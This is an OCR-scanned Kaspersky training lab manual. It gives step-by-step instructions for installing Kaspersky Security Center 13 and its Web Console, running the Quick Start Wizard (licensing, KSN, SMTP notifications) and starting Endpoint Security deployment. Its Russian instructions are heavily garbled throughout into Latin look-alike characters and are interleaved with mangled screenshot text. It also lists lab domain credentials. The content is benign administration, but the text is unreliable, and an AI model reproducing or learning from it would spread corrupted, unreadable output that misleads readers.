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JlabopaTtopHasa paboTtal.
Kak yctaHoButb Kaspersky Security Center

CueHapun. Bam HyxHO 3awmtuTb meHee 100 komnbloTepoB komnaHum ABC ¢ nomoubio Kaspersky Endpoint
Security anst GusHeca. YTo0bl yNpaBnaTb 3aLLUMTON B TaKOW ceTu, xBaTuT ogHoro Cepeepa aaMMHUCTPUPOBAHUS 1
Express-pegakunu cepsepa Microsoft SQL. YctaHosute Cepsep agmmHucTpuposaHusa Kaspersky Security Center
Ha BblgeneHHbIN komnbloTep nog ynpaeneHnem Windows Server 2016. Microsoft SQL server 3abnaroBpeMeHHO
YCTaHOBMEH Ha BUPTYanbHON MalLuHe.

CopepxaHue. B aton nabopatopHon paborTe:
1. YcraHosuTe CepBep agMMHUCTpUpOBaHUsS 1 Beb-koHconb Kaspersky Security Center

2. [lponguTte mactep nepBoHayanbHon HacTporkn CepBepa agMnHUCTpupoBaHna Kaspersky
Security Center

3apaHue A: YctaHoBute CepBep agMuHUCTpUpoBaHus u Be6-koHconb
Kaspersky Security Center

BbinonHuTe BoIGOpOYHYto ycTaHoBKY CepBepa agMmHUCTpupoBaHusa Kaspersky Security Center ¢ HacTponkamu no
ymonyaHuto. Beb-koHconb npeacTtaenseT cobon OTAENbHbI KOMMIOHEHT Y MMeEeT COBCTBEHHbIN AMCTPUBYTUB; ee
yCTaHOBKa Ha4YnHaeTcs aBToMaTnyeckn nocne ycrtaHokn KSC Administration Server.

1. 3anyctute nporpammy _ lkasperslky Kaspersky Security Center 13 - KN
ycTtaHoBku Kaspersky Security

Center (pacnonoxeHue

YyTOUHWTE y NpenogasaTens)

E Install only Kaspersky Security
Center 13 Administration Console

2. Haxwmute Install Kaspersky

Security Center 13 Install Kaspersky Security

Center 13

Install only Kaspersky Security
Center 13 Network Agent

E‘D Install i0S MDM (Mobile Device Management) Server . Extract installation packages

D Install Exchange Mabile Device Server

kaspersky
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3. B okHe npuBeTcTBMSA HaxXmMuTe Next

4. B cnepgytoliem okHe ybeamTech,
yTO Tpebyemas Bepcus .NET
Framework ycTaHoBneHa n
HaxxmuTe Next

5. TMpumuTe yCrioBUs MULIEH3VOHHOIO
cornaLleHns U NonmuTUKY
KOHPUOEHLMANBHOCTH

6. Haxwmute Next

kaspersky

JlabopaTopHasi paboTa 1.
Kak yctaHoBuTe Kaspersky Security Center

Kaspersky Security Center Administration Server

Kaspershy
Security Center Welcome to the Kaspersky Security Center 13

Administration Server Setup Wizard

The Setup Wizard will install Kaspersky Security Center 13
Administration Server an your device. Click Next to continue
or didk Cancel to exit the Setup Wizard.

< Back Mext =

Kaspersky Security Center Administration Server

The required version of .NET Framework is already installed and
7 activated. Click Next to continue or dick Cancel to exit the Setup
Wizard.

Kaspersky Security Center 13 END USER. LICENSE AGREEMENT; AND A
Products and Services PRIVACY POLICY

Kaspersky Security Center 13 END USER. LICENSE AGREEMENT (“LICENSE
AGREEMENT™)

TPARTANT T EAAT NOTICE TN ATT TTSFRPR-CARERIT TV BE AT THE
I confirm that I have fully read, understand, and accept the terms and conditions of this
End User License Agreement.
I am aware and agree that my data will be handled and transmitted (induding to third
[+]countries) as described in the FPrivacy Palicy. I confirm that I have fully read and
understand the Privacy Policy,

— 2021 AQ Kaspersky Lab

< Back | Next > | | cancel
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7. BblbepuTe TMn yctaHoBku Standart
n HaxmuTe Next

8. OcrtaBbTe pasmep cetn Fewer
than 100 networked devices un
HaxmnTe Next

9. Bblbepute Microsoft SQL Server
n HaxxmuTe Next

kaspersky
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Kak yctaHoBuTe Kaspersky Security Center

Standard installation allows you to install the default set of components and configure
the database. No changes will be made to any settings outside the described scope,
The Mobile Device Management feature is unavailable in standard installation mode.
Custom installation allows you to select additional components and manage an
extended set of application installation settings.

(®) Standard
(") Custom

nter Administration Server

Select the approximate number of devices that you intend to manage. This
information will be used to configure Kaspersky Security Center 13 properly. You will
be able to modify these settings later.

(®) Fewer than 100 networked devices
() 101 to 1000 networked devices

() 1001 to 5000 networked devices
(") More than 5 000 networked devices

— 2021 AQ Kaspersky Lab

< Back || Mext =

nter Administration Server

Select the type of DBMS to which you want to connect Administration Server. A
database will be created for the selected DBMS during later steps of the application
installation.

(®) Microsoft SQL Server (SQL Server Express)

O mysgL

— 2021 AQ Kaspersky Lab

< Back || Mext =
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Kak yctaHoBuTe Kaspersky Security Center

10. Haxxmute Browse

1) Make sure that the relevant version of Microsoft SQL Server is installed.

You can download Microsoft SQL Server 2014 Express 5P2 {recommended) or
another supported version from the Microsoft website, Other versions of
Microsoft SQL Server are available on this website,

2) Specify the Microsoft SQL Server settings:

S50L Server instance name: | | | Browse...
Database name: | KAV |
11. Bb|GepV|Te cepeep Kaspersky Security Center Administration Server
KSC\SQLEXPRESS 1 HaxmuTe
OK
SOLEXPRESS
If Administration Server runs under the LocalSystem account, you can only select a
local SQL Server (installed on the device where Kaspersky Security Center 13 setup
has been started).
12. MNMpopomxuTe YCTaHOBKY Kaspersky Security Center Administration Server

Kaspersky Security Center:
Haxxmute Next

1) Make sure that the relevant version of Microsoft QL Server is installed.

‘You can download Microsoft SQL Server 2014 Express SP2 {recommended) or
another supparted version from the Microsoft website, Other versions of
Microsoft SQL Server are available on thiz website,

2) Spedfy the Microsoft SQL Server settings:

SOL Server instance name: | KSC\SQLEXPRESS | [Cerowse.. |

Database name: | KAy |

— 2021 AC Kaspersky Lab

< Back | mext> || cancel

kaspersky
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13. BblﬁepI/ITe Microsoft Windows Kaspersky Security Center Administration Server
Authentication mode n HaxvuTe ! ;
Next

Choose the authentication mode that you want to use for connection to Microsoft SQL
Server, If you select SQL Server Authentication, you are prompted to enter the account
and confirm the password.

(®) Microsoft Windows Authentication mode

(_)5QL Server Authentication mode

Bccount:
Password:

Confirm password:

— 2021 AQ Kaspersky Lab

< Back | Next > | | cancel

14. Haynute YCTaHOBKY: HaXXMuUTe Kaspersky Security Center Administration Server
Install p

Click Install to start installation. Click Back to review or modify any of your
installation settings. Click Cancel to exit the Wizard.

= 2021 AC Kaspersky Lab

< Back [ wsal | cancel

ERTY

Kaspersky Security Center 13 Web Console

15. MNocne yctaHoBkn KSC

Administration Server Please select a language
aBTOMaTU4YecKn 3anycTuTcs @
yctaHoBLmKk KSC Web Console. |Eng“ - V|
BbibepuTe s3bik MacTepa
YCTaAHOBKMU

ok | | cancel |

16. B okHe npuBeTCTBUSA HaxXkmMnTe Next  LEeEaaEtariyiey S8 AV el E

kaspersky

Welcome to the Kaspersky
Security Center 13 Web Console
Setup Wizard

The Setup Wizard will install Kaspersky Security Center 13
Web Console on your device. Click Next to continue ar dick
Cancel to exit the Setup Wizard.

kaspersky 8
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17. anMMTe YCIoBUS NULIEH3UOHHOIO Kaspersky Security Center 13 Web Console

cornaweHnsa n Haxmmte Next N
License Agreement
Please carefully read the License Agreement, .

Please read the End User License Agreement. You must accept the terms and conditions of the
EULA to install the application.

Easpersky Secunty Center 13 Web Console, 108 MDM Server. Microsoft Exchange ~
Mobile Devices Server., Administration Console, Kaspersky Security Center 13
Network Agent for Limux, Kaspersky Secunty Center 13 Network Agent for Mac
EASPERSEY LAB END USER. LICENSE AGREEMENT

BY CLICKING THE ACCEPT BUTTON IN THE LICENSE AGEEEMENT WINDOW
OF. BY USING THE SOFTWARE YOU CONSENT TO BE EOUND BY THE TERMS
AND CONDITIONS OF THIS AGREEMENT. SUCH ACTION IS A SYMBOL OF v

I confirm that I have fully read, understand, and accept the terms and conditions of this End
.
User License Agreement

18. OcTtaBbTe nanky HasHavyeHus 6e3 Kaspersky Security Center 13 Web Console
N3MeHeHWi

Destination folder
19. HaxmunTte Next Select the destination folder,

Install Kaspersky Security Center 13 Web Console to the following folder:

C:\Program Files\Kaspersky Lab‘\kaspersky Security Center Web Console |

Browse
20. Ykaxunte A,qpec NOogKNKYeHNs: Kaspersky Security Center 13 Web Conscle
127.0.0.1 ) e
Kaspersky Security Center 13 Web Console connection settings
21. OcTaBbTe NopT 6e3 nsMeHeHus Spedify the Kaspersky Security Center 13 Web Console connection settings.

22. Haxmute Test

Address | 127.0.0.1| |

Port 3080 Test

Enable logging of Kaspersky Security Center 13 Web Console activities

23. Ybegutecn, uto nopt 8080

Kaspersky Security Center 13 Web Console

AocTyneH no agpecy 127.0.0.1 @ Port 8080 is available on 127.0.0.1.
24. Haxmute OK
kaspersky
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25. OcTtaBbTe HaCTpOVIKM be3 Kaspersky Security Center 13 Web Conscle
N3MEHEeHUI .
Account settings
26. Haxxmute Next Specify the Kaspersky Security Center 13 Web Console account settings.
A Mode.js account and update service account are required for starting and updating Kaspersky
Security Center 13 Web Console. You can use the default accounts or spedfy custom ones,
(®) Use default accounts
() specify custom accounts
27. Bolbepute napameTtp Generate Kaspersky Security Center 13 Web Console

new certificate i
Client certificate

28. Haxxmute Next Select how to specify the certificate.

(®) Generate new certificate

Make sure the below domain is trusted.

Domain K5C

(") Choose existing certificate

CRT certificate file C:\Program Files\Kaspersky Lab\aspersky Secur Browse
KEY certificate file C:'Program Files\Kaspersky Lab\Kaspersky Secur Browse
29. YbeauTech, 4TO B CYCKe Kaspersky Security Center 13 Web Console

AOBEPEHHbIX CepBepOB Trusted Administration Servers
aAMWHNCTPUPOBAHNSA yKa3aH KSC Spedify the settings of trusted Administration Servers,

30. [Ina npogomKeHns ycTaHOBKM
HaxmunTe Next

‘You must create a list of trusted Administration Servers to which Kaspersky Security Center 13
Web Console will be allowed to connect. After installation, Kaspersky Security Center 13 Web
Console will only connect to the Administration Servers listed below. You can start the Setup
Wizard in Upgrade mode to edit the list of Administration Servers after installation.

List of trusted Administration Servers

MName Address Port Certificate Add
¥5C localhost 13299 C:\ProgramData\Ka. .. : Delete
Edit

kaspersky 10
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31. HauyHute YCTaHOBKY: HaXXMuTe Kaspersky Security Center 13 Web Console
Install Ready for Kaspersky Security Center 13 Web Console installation
You can install Kaspersky Security Center 13 Web Console, 11t
The Setup Wizard will deploy Kaspersky Security Center 13 Web Console to this device. Click
Install to start installation or didk Cancel to exit the Setup Wizard.
< Back Cancel
32. 3aKPOVITe MacTep YCTaHOBKU BeO- Kaspersky Security Center 13 Web Console
koHcornu Kaspersky Security
Center. HaxmuTe Finish
I(asperSky Kaspersky Security Center 13 Web Console has been
successfully installed on your device. You can start using
Kaspersky Security Center 13 Web Console by simply
entering the address in the address bar of your browser,
Click Finish to close the Setup Wizard.
Start Kaspersky Security Center 13 Web Console in your
browser
< Back Cancel
33. 3aKp017|Te macTtep Kaspersky Kaspersky Security Center Administration Server
Security Center Administration
Server. Haxmute Finish
KHSHEFSK!I‘ The Kaspersky Security Center 13
Security Center Administration Server Setup Wizard has
finished
Kaspersky Security Center 13 Administration Server has
been successfully installed.
Click Finish to dose the Setup Wizard.
[ start MMC-based Administration Console
Start Kaspersky Security Center Web Console

3apaHue B: Npoiigute macTep nepBoHavanbHom HacTpoiiku CepBepa
apMmuHucTpupoBaHusa Kaspersky Security Center

MogkniounTech k CepBepy agMMHUCTPMPOBaHNS Mcnonb3ys Beb-koHconb Kaspersky Security Center u npongute
mMacTtep nepBOHaqaanon HaCTp017IKl/I. ,D,OGaBbTe KOO aKTnBaLun. HaCTDOVITe yBeOJOMITeHNA Ha agpec

administrator@abc.lab yepes cepsep 10.28.0.10. Mpumute cornawenne KSN. 3arpysute o6HOBNEHNS CUrHaTYp.
He 3anyckaiiTe MacTep pasBepTbiBaHUS 3alUMTbl. BknouMTe aBTO pacnpocTpaHeHe NMUEeH3un.

kaspersky 1
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34. OTkpoliTe Beb-6paysep
Google Chrome. B
afpecHOn cTpoke
BBEAUTE:
https://127.0.0.1:8080

35. Haxmute Advanced

36. MNponanTte No ccbifke
Proceed to 127.0.0.1
(unsafe)

37. Beegute nmsa
nonb3oBartens
abc\administrator n
naposnb Ka5per5Ky

38. HaxxmuTe KHomnKy
Sign in

kaspersky

C A MNotsecure | 127.0.0.1:8080 # e .
Your connection is not private

Attackers might be trying to steal your information from 127.0.0.1 {for example,
passwords, messages, or credit cards). Learn more

MNET::ERR_CERT_AUTHORITY_INVALID

Q To get Chrome's highest level of security, turn on enhanced protection

Hide advanced

This server could not prove that it is 127.0.0_1; its security certificate is not trusted by your
computer's operating system. This may be caused by a misconfiguration or an attacker
intercepting your connection,

Proceed to 127.0.0.1 {unsafe)

T4t

Kaspersky®
Security Center

User name

| abc\administrator |

Password

Domain authentication

Domain authentication |

12
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@) Kaspersky Security Center Web

39. MponycTtute y4ebHyto

ﬂeMOHCTan,M I'O &« c A Not secure | 127.0.0.1:8080/#/monitoring/dashboard ¥ e
3akponTe OKHO
MONITORING & REPORTING / DASHBOARD
AEMOHCTpauum
(Haxkmnte X ons
0TMeHb|) i Protection status &5
KASPERSKY 1
SECURITY CENTER 0
0
o03Mer2021
02/08/2021 03/28/2021
MONITORING & REPORTING  ~
W critics | el W warning
DASHBOARD
New devices b
1
Choose your tutorial scenario b4
If you are new to Kaspersky Security Center, choose "New Administration Server” The main focus here is on
the general functionality of Kaspersky Security Center and the Web Console features. Otherwise, if you are
already familiar with the functionality, choose "Upgrade Administration Server” It will take you on a tour that
demonstrates the difference between the on-premises and Cloud Console installation options, as well as
migration and hybrid architecture.
Upgrade Administration Server
40. B okHe npuseTcTBUA D Quick Star Wiza
MacTepa HaXmute Wecome
Start
Welcome to the Quick Start Wizard of Administration Server KSC
This Wizard performs initial configuration of Administration Server and
downloads updates. It also helps you to do the following
41. Ucnonb3oBaHue Proxy Quick Start Wizard
cepBepa He TpebyeTcs.
Step 1 The Wizard setup may take as much as 15 minute
Haxmnte Next P
Internet connection
Administration Server requires an Internet connection to check the current versions of the installed plug-ins and create installation packages.
® Direct connection

kaspersky 13
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Step 2

Downloading required updates
|

« for required updates and of information retrieval.

Please wait for completion of

43 OTMeTbTe_ Quick Start Wizard
Workstations un
Windows Step 3

44, HaxmuTte Next
Assets to secure

File

Virtualization

Embedded Systems
Operating systems

macOs

Serversand S

Android
Linux
Other

45 Bbl6€pVITe L|te Quick Start Wizard
encryption (56-bit)

Step 4

46. Haxmnte Next

Encryption in solutions

ns for the protection
t (Lite encryption) ke

yptographic tools implemn
g the distribution package v

Lite encryption (56-bit)
Strong encryption (256-bi)

Workstations Web

plug-in Kaspersky Step’5
Endpoint Security

Installation of plug-ins for managed applications

48. Haxmute Next
Group by: Operating system [change grouping using filter)

Area to secure Type Name Version Opera

~ Windows

Workstations Web plug-in Kaspersky Endpoint Security for Windows (11.6.0) 1160394 Windo
Workstations Web plug-in Kaspersky Managed Detection And Response 1002536 Windo
kstations Web plug-in Kaspersky Endpoint Agent 3.10 3.10.1.3224 Windo
> Linux
> macOS

kaspersky 14
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49 Ha)KMMTe NeXt Quick Start Wizard

Step 6

Installing the selected plug-ins

nstallation completed successfully

50. Bbibepute naket Quick Start Wizard
Kaspersky Endpoint
Security for Windows
C YMPOLLEHHbIM
lwndpoBaHnem

Step 7

Download and create installation packages

Group by: Operating system (change grouping using filter)

51. Haxmute Next

Areatosecure  Type Name Version Operating
~ Windows

Administration  Distribution packag Kaspersky Network Agent for Wind. glish) 12007734  Windows

Workstations Distribution package ~ Kaspersky Endpoint Security for Windows (11.6 0) (English) { 116.0.394 Windows

kstations Distribution pac!

Kaspersky Endpoint Security for Windows (11.6.0) WS

h) (Strong encryption) 1160394

Workstations Distribution package ~ Kaspersky Endpoint Agent 3.10 (English) 31003196 Windows

nonb3oBaTesibCkoe Step 8
cornawleHune

y Security Network (KSN) is a ure that provides to the information about the reputation of
sources, and software. The use of KSN ensures faster responses to threats, improves the effectiveness of protection
nd reduces the risk of false positives.

Kaspersky
53. HaxmuTe Next ‘ Security Network

Kaspersky Security Network Statement

This document contains KSN Statements for the following Kaspersky Lab products

ty Center

rity Center Cloud Console

ad the Statement for the Kaspersky Lab product, that you are using or have selected

SN) STATEMENT FOR KASPERSKY SECURITY CENTER

KASPE| SECURITY NE

Kaspersky Security Network Statement (hereinafter "KSN Statement”) relates to the computer program Kaspersky Security Center 13 (hereinafter "Software”).
Allterms used in this Statement have the same meaning defined in the End User License Agreement (EULA} under the paragraph "Definitions”

This Statemnent along with the End User License ement for So rin the Section “Conditions regarding Data Processing” specifies the conditions,
responsibilities and procedures relating to transmission and processing of the data, indicated in the Statement. Carefully read the terms of the Statement. as w:
documents referred to in the Statement, befare accepting it

When the End U: ctivates the using of the KSN, the End User is nsible for ensuring that the processing of personal data of Data Subjects is lawful, particularly, v
the meaning of Article 6 {1} (a) to (1) {f] of Regulation (EU) 2016/679 ieral Data Protection Regulation, "GDPR’) if Data Subject is in the European Union, or applicable la
confidential information, personal data, data protection, or similar thereto.

Data Protection and Processil
by the Rightl ler from the End User during use of the KSN are handled in accordance with the Rightholder’s Prive
w kaspersky.com/Products-and-Services-Privacy-Policy.

y Policy published at
http:

®) | agree to use Kaspersky Security Network

| do not agree t

aspersky Security N

54. Belbopure Add key file

55. Haxmute Select key Sk
file n BoIGepuTe pann
Krroya Kaspersky Application activation
Security Center Select option.

Enter activation code

(pacnonoxeHne o e e
YyTOYHUTE Y
npenogaearens)

Select key file

kaspersky 15



KL 002.11.6:
Kaspersky Endpoint Security and Management

56. Haxxmute Next

57. Haxmute Next

kaspersky

JlabopaTopHasi paboTa 1.
Kak yctaHoBuTe Kaspersky Security Center

Quick Start Wiz

Step 9

Application activation

Select option:
Enter activation code
@ Add key fi
Add lice

Select key file

Kaspersky Endpoint Security for Business - Advanced International Edition.
20-24 Node 1 year NFR License: Security Center

Application name
Licenses count 20

License term (days) 365

License expiration date 02/16/2022 12:00:00 am

License type Commercial

Automatically distribute license key to managed ¢

nstalled and activated

Back Next

Quick Start Wizard P

Step 10

Update management settings

Search for updates and install them

sk will be created for Me entif

t while the red updates and fix

sources

lownl from Windows

Use Administration Server as a WSUS server

16
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58. Haxxmute Next

59. Beegute
administartor@abc.lab
B none Email

addresses of recipients

60. Beegute B none SMTP
server address

10.28.0.10

Beegute B none SMTP
server port 25

61.

62. Haxmute Next

Quick Start Wizard

JlabopaTopHasi paboTa 1.
Kak yctaHoBuTe Kaspersky Security Center

Quick Start Wizard =

Step 11

Kaspersky Security Center Administration Server
+ Task "'Download updates to the Administration Server repository”

+ Task "Administration Server maintenance”

+ Task "Backup of Administration Se
Kaspersky Security Center Network Agent
+ Policy for Kaspersky Security Center 13 Network Agent

+ Task "Find vulnerabilities and required updates’

Kaspersky Security for Windows Server

+ Policy for Default protection for Kaspersky Secu
+ Task "Database Update”
+ Task "On-Demand Scan”

Kaspersky Endpoint Security

+ Policy for Kaspersky Endpoint Security for Windows (1

+ Task "Install updates”

Step 12

Specify one or more email addresses to receive error notifications

administrator@abc.lab

Email addresses of recipients

SMTP server address

SMTP server port

Use ESMTP authentication

Send test message

Back

63. Haxxmute Next

Quick Start Wizard

Step 13

Network poll

oll by Administration Server has comple

kaspersky
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64. CHumuTe chnaxok Run Quick Start Wizard B
Protection

Final

Deployment Wizard

.. Initial setup of Administration Server KSC has completed
65. Haxxmute Finish

Run Protection Deployment Wizard

3akJiioueHue

Bbl ycTtaHoBunu Kaspersky Security Center, Be6-koHconb Kaspersky Security Center n gobasunu nnarmH ans
ynpasrneHunsa Kaspersky Endpoint Security. BeinonHunu Mactep nepBoHayarbHOW HAaCTPOMKN: co3fjanu 3afjadum u
NOMUTUKM MO YMOMYaHUIo, NPUHANK cornatleHns ¢ KSN, HacTpounu oTnpasky yBeJOMNEHWUIA agMUHUCTPATOPY U
BKIKOYMITM aBTO pacnpocTpaHeHue Krova.

Kak yctaHaBnueatb Kaspersky Endpoint Security n AreHT agMMHUCTPUPOBaHNS, pacckasbiBaloT crieayowme
nabopaTtopHble paboTbl.

JlabopaTtopHasa paboTa 2.

Kak BHegputb Kaspersky Endpoint Security

CueHapun. Bam HyxHO ycTaHoBUTE Kaspersky Endpoint Security Ha komnbioTepbl ceTh. Bbl yxke ycTaHoBUnm
CepBep agmuHucTpupoBaHusa Kaspersky Security Center. Tenepb ucnonb3ynTte mactep passepTbiBaHMs 3aLUUThI,
4TOObI yaaneHHo yctaHoBUTb Kaspersky Endpoint Security u AreHT agMUHUCTPUPOBAHUSA Ha KOMMNbIOTEPDI,
koTopble obHapyxun CepBep agMUHUCTPUPOBAHUS.

CopepxaHue. B aToin nabopatopHon paboTe:
1. YcraHosute Kaspersky Endpoint Security ana Windows Ha pabouyto cTaHumio n cepeep
agMuHucTpupoBaHus Kaspersky Security Center
CospanTe aBTOHOMHBIV nakeT ycTaHoBku Kaspersky Endpoint Security
YcraHoBMTE aBTOHOMHbIN nakeT Kaspersky Endpoint Security ana Windows Ha HOyTOyk

NayuuTe pesynbTaThl pasBepTbiBaHNS 3alUUThl B CETU
3apaHue A: YctaHoBute Kaspersky Endpoint Security ana Windows Ha
pabouyio cTaHuMIo U cepBep apmuHucTpupoBaHus Kaspersky Security Center

3anycTuTte MacTtep pa3BepTbiBaHWs 3awWwnThl 1 Beibepute naket Kaspersky Endpoint Security. [ins goctyna K
KOMMbIOTEPAM YKaXXUTE YY4ETHYIO 3anncb agMuHucTpaTopa gomeHa ABC\Administrator ¢ naponem Ka5per5Ky.
OcrtarnbHble HAaCTPOWKU OCTaBbTe MO YMOMYaHMIo.

kaspersky 18
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MopoxamTe, Noka 3agava yCTaHOBUT NporpaMMbl. Ecnv 3agada nonpocuT nepesarpyantb KOMMbIOTEPS,
nepesarpyaute ux oT UMeHU Nofb30BaTers.

Ha komnbtoTepe Alex-Desktop ycTaHOBNEH CTOPOHHMI aHTMBMpPYC ClamWin, 4To TeopeTU4eckn MoxeT
OCNOXHUTb ycTaHoBKY. OgHaKo Bbl CMOXeTe yoeamTbCs, YTO JENHCTaNNSALNS CTOPOHHENO aHTUBMpYyca
BbINOSTHAIETCA aBTOMaTU4Yeckn B xoae yctaHoBku Kaspersky Endpoint Security ans Windows.

R E
[ B ] ]
= 0
N L
f— - - e
— | -_ -
pc Tom-Laptop  Alex-Desktop

|

KsC

DISCOVERY & DEPLOYMENT / DEPLOYMENT & ASSIGNMENT / INSTALLATION PACKAGES

1. TMpowngute Ha cTpaHuuy

Discovery & m Dovnlozses | nprogessll) |
Deployment |
KASPERSKY
Deployment & SECHRUNEERIER Group by: Operating system [change grouping using filter) =
Assignment |
Installation Packages preatosecure  Type Neme version
~ Windows
2. Ha)KMMTe Ha CCb”__IKy Workstations  Distribution package ~ Kaspersky Endpoint Security for Windows (116.0) (English) (Lite encryption)  11.6.0.394
Kaspersky Endpoint
Security for Windows OPERATIONS

E? DISCOVERY & DEPLOYMENT

E? DEPLOYMENT & ASSIGN...

INSTALLATION PACKAGES

Kaspersky Endpoint Security for Windows (11.6.0) X
(English) (Lite encryption)

3. [Noxantecb nosiBNeHus
KHonkn Show EULA n

Workstations

Ha)KMMTe ee Distribution package
Notin use in managed network
Version 1160394
Added 03/09/2021 7:06:51 pm
Operating system Windows
Language en

85%

You must accept the terms of the License Agreement

Show EULA

kaspersky 19
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MpumuTe ycnosus
Morb30BaTErbCKOro
cornalleH1s n HaxmuTe
Accept

JoxauTtecb
3aBepLUeHNs 3arpy3ku

MepenanTe Ha
cTpanuuy Operations |
Licensing | Kaspersky
licenses

Haxvunte Add

HaxmunTe Select key
file n BbIbepuTe dann
kntoya Kaspersky
Endpoint Security

OTmeTbTe YeKkOOoKC
Automatically
distribute license key
to managed devices

10. Haxmvute Close

kaspersky

JlabopaTopHasi paboTa 2.
Kak BHegputb Kaspersky Endpoint Security

License Agreements

You must accept the License Agreements listed below. Please read them, select those to be accepted, and then click the Accept button to
accept those License Agreements.

Kaspersky Endpoint Security and Kaspersky Endpoint Agent END USER LICENSE AGREEMENTS; AND Products and Services PRIVACY POLICY
Kaspersky Endpoint Security and Kaspersky Endpeint Agent END USER LICENSE AGREEMENTS
IMPORTANT LEGAL NOTICE TO ALL USERS: CAREFULLY READ THE FOLLOWING LEGAL AGREEMENT BEFORE YOU START USING THE SOFTWARE.

CLICKING THE BUTTON INDICATING YOUR ACCEPTANCE IN THE WINDOW CONTAINING THE LICENSE AGREEMENT. OR BY ENTERING
CORRESPONDING SYMBOL(-S), YOU CONFIRM IN A LEGALLY BINDING WAY THAT YOU AS THE ORGANIZATION FOR WHICH THE SOFTWARE IS
DOWNLCADED OR ACQUIRED HAVE AUTHORIZED THE NATURAL PERSCN ACCEPTING THIS LICENSE AGREEMENT TO ENTER INTO THIS LICENSE
AGREEMENT FOR AND ON BEHALF OF YOU. FURTHERMORE, YOU CONSENT TO BE BOUND BY THE TERMS AND CONDITIONS OF THIS LICENSE
AGREEMENT. SUCH ACTION IS A SYMBOL OF YOUR SIGNATURE AND YOU ARE CONSENTING TO BE BOUND BY AND ARE BECOMING A PARTY TO
THIS LICENSE AGREEMENT AND AGREE THAT THIS LICENSE AGREEMENT IS ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED
BYYOU. IF YOU DO NOT AGREE TO ALL OF THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT, CANCEL THE INSTALLATION OF THE
SOFTWARE AND DO NOT INSTALL THE SOFTWARE

IF LICENSE CONTRACT OR SIMILAR DOCUMENT ACCOMPANIES SOFTWARE, TERMS OF THE SOFTWARE USE DEFINED IN SUCH DOCUMENT
PREVAIL OVER THE CURRENT LICENSE AGREEMENT.

AFTER CLICKING THE ACCEPT BUTTON IN THE WINDOW CONTAIMING THE LICENSE AGREEMENT OR AFTER ENTERING CORRESPONDING
SYMBOL(-S), YOU HAVE THE RIGHT TO USE THE SOFTWARE IN ACCORDANCE WITH THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT.

1. Definitions
1.1 Software means software including any Updates and related materials.
| confirm that | have fully read, understand, and accept the terms and conditions of the following:

B3 The terms and conditions of this EULA
B3 Privacy Policy describing the handling of data

Decline

OPERATIONS / LICENSING / KASPERSKY LICENSES

[ +Add | x Delete Q = v
KASPERSKY - N

Application name License key License type Licenses count

SECURITY CENTER

rsky End vanced Inter . >>  250A A0 Commercial 20
€ Previous 1 Next » 20 v Result: 1-1/ 1 total|
E3 OPERATIONS
LICENSING
KASPERSKY LICENSES

X

Select option:
Enter activation code
® Add ke file

Select key file

Kaspersky Endpoint Security
for Business - Advanced
International Edition. 20-24
Node 1 year NFR License:
Kaspersky Security for WS
and FS

Application name

Licenses count 20

License term (days) 365
License expiration date 02/16/2022 12:00:00 am
License type Commercial

Automatically distribute license key to managed devices

20
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11. B 6okoBOM MEHI0
BblbepuTe Devices |
Polices & Profiles

12. Haxmute Ha nonuTuky
Kaspersky Security
Center Network Agent

13. MNepenanTe Ha BKNagky
Application Settings B
pasgen Network

14. OTkpoWnTEe HaCTPOMKN
napameTtpa
Connectivity

15. ViameHunTe napameTp
Synchronization
interval (min) Ha 3

VHTepBan CMHXpOHM3aLmmn
MEHSIETCS TONbKO Anst
nabopaTtopHbix paboT. B
pearibHOM >XWU3HU Mbl He
pekoMeHayeM ero
yMeHbLIaTb

16. B 60KkOBOM MEHIO
BblbepuTe Discovery &
Deployment |
Deployment &
Assighment |
Protection
Deployment Wizard

kaspersky

JlabopaTopHasi paboTa 2.
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DEVICES / POLICIES & PROFILES

Current path: KSC
KASPERSKY | Add = Refresh list £ Y : x e
SECURITY CENTER
Stat. >>  Policy name Application Inherited

Kaspersky Endpoint Security for Windows {11.6.0)
Kaspersky Endpoint Security for Windows (1160 Kaspersky Endpoint Security for

B DEVICES Kaspersky Security Center 13 Ne_ >3

POLICIES & PROFILES

Kaspersky Security Center 13 Network Agent P

GENERAL  EVENT CONFIGURATION  APPLICATION SETTINGS  REVISION HISTORY
Settir
Connectivity Settings
Softw ner
Connection profiles Settings
estal el
ndows Deskto i
. Connection schedule Settings
Network

Connect to Administration Server

Synchronization interval (min) 3

@O Compress network traffic

@D Open Network Agent ports in Microsoft Windows Firewall
@D Use SSL connection
@D Use connection gate

way on distribution point (if available) under default connection settings

OPERATIONS / REPOSITORIES / INSTALLATION PACKAGES

Downloaded In prog

KASPERSKY
SECURITY CENTER

Group by: Operating system (change grouping using filter) <= Filter

Areatosecure Type Name Version Operatingsystem Language Added Inusein managed network Description D

Ed OPERATIONS >

E? DISCOVERY & DEPLOYMENT  ~

E? DEPLOYMENT & ASSIGN...

PROTECTION DEPLOYMENT
WIZARD

PROTECTION DEPLOYMEN...
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17. Bbibepute Kaspersky
Endpoint Security ansa
Windows 13 cnncka
YCTaHOBOYHbIX MAKETOB

18. Haxxmute Next

19. Bbibepute onuuto Do
not add license key to
installation package

20. Haxmute Next

21. YKaxunTe Bepcuio
AreHTa
aaMUHUCTPUPOBAHWS:
Kaspersky Security
Center 13 Network
Agent

22. Haxmute Next

23. BbibepuTte onuuio
Select devices for
installation

24. PasBepHuTe CNMcok
Managed devices.
Hangnte n otmetbTe
KomnbtoTep KSC

25. PasBepHuUTE CNMCOK
Unassigned devices.
Hangunte n otmetbTe
KomnbtoTep Alex-
Desktop

26. Haxmute Next

kaspersky

JlabopaTopHasi paboTa 2.

Kak BHegputb Kaspersky Endpoint Security

Protection Deployment Wizard

-+ Add # Edit
Installation packages
Exchange Mobile Device Server (13.0.0.11247)
105 MDM Server (13.0.0.11247)
Kaspersky Security Center 13 Network Agent (13.0.0.11247)
. Kaspersky Endpoint Security for Windows (11.6.0) (English) (Lite encryption) _11.6.0.394

ation Kaspersky Endpoint Security for Windows (11.6.0) (English} (Lite encryption)
160394

The application will be deployed through Network Agent, which connects the application with Kaspersky Security Center 13

Protection Deployment Wizard

® Do not add license key to installation package

Add license
Mot recommend

Protection Deployment Wizard

elect the Network Agent that must be installed with the installation package.

packages are stored inthe shared folder 2nd leakage of the license keyls) is possiole.

+ Add # Edit

[v] Installation packages

] Kaspersky Security Center 13 Network Agent

Protection Deployment Wizard

Install on managed devices

8) Select devices for installation
® Devices

Selection defined by using the NetBIOS name

